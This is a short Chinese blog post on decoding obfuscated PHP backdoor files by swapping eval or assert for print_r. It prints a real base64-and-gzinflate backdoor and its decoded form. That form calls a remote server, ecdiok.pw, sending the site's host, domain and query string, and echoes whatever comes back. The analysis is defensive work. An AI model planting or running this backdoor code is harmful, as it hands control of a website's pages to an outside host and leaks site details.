PHP后门文件解密
今天逛论坛发现了一个要对PHP后门文件解密的帖子,以前自己也曾经遇到过,记得当时自己一通百度谷歌搜索,找到了办法,但是现在看到这个帖子一下子想不起来,赶紧写一篇记一下解密这块。
说一个简单的办法,常见的PHP后门文件中存在eval或assert,可以替换成print_r 然后在运行文件,就可以看到源码了,例如:
<?php
eval(gzinflate(base64_decode('VZDRToMwFIbvSXgH0iwDLwSddyPEmAXFRCcCmhhDGkbP1kbaEjjTzae3iDHsqs2f7/T/Tm2rB6QoJNBGSIHexVloW7bFoWLQeWSlFYLC8+LYwtJBOGDAUTZhzavOTEa7zeLqckGGIVYhUAbbat+ML35rBdRAnptmK3dAZhlIjUPYfULnRA7hiO0yCKBmQn/47VdAQsdwXPdIVSVhwhB/RvM4e42zdzcpipQmT3nhlpM0TVJzf7h1y6HrT53KTbQVDdCdWbQes947NfFJIBSDg9/y9nrojkzZv4NP5vuuiab9zy9x9kbzIrtf3xkFMmdaVkKdMONJ1zePsVuOvwo1185E7Df8AQ==')));
?>
修改为
<?php
print_r(gzinflate(base64_decode('VZDRToMwFIbvSXgH0iwDLwSddyPEmAXFRCcCmhhDGkbP1kbaEjjTzae3iDHsqs2f7/T/Tm2rB6QoJNBGSIHexVloW7bFoWLQeWSlFYLC8+LYwtJBOGDAUTZhzavOTEa7zeLqckGGIVYhUAbbat+ML35rBdRAnptmK3dAZhlIjUPYfULnRA7hiO0yCKBmQn/47VdAQsdwXPdIVSVhwhB/RvM4e42zdzcpipQmT3nhlpM0TVJzf7h1y6HrT53KTbQVDdCdWbQes947NfFJIBSDg9/y9nrojkzZv4NP5vuuiab9zy9x9kbzIrtf3xkFMmdaVkKdMONJ1zePsVuOvwo1185E7Df8AQ==')));
?>
然后打开http://www.dooccn.com/php5.6/,把修改后的代码复制进行,运行,可以发现解密后的问
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$Remote_server = "http://ecdiok.pw/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);
echo $Content_mb;
当然也可以利用https://tool.lu/php/ 直接有解密功能。
这里有一个比较存在的情况,如AA ,这个后面文件,第一次可以将assert修改为print_r,第二次在eval外面增加print_r来执行,解密后的文件 sssssss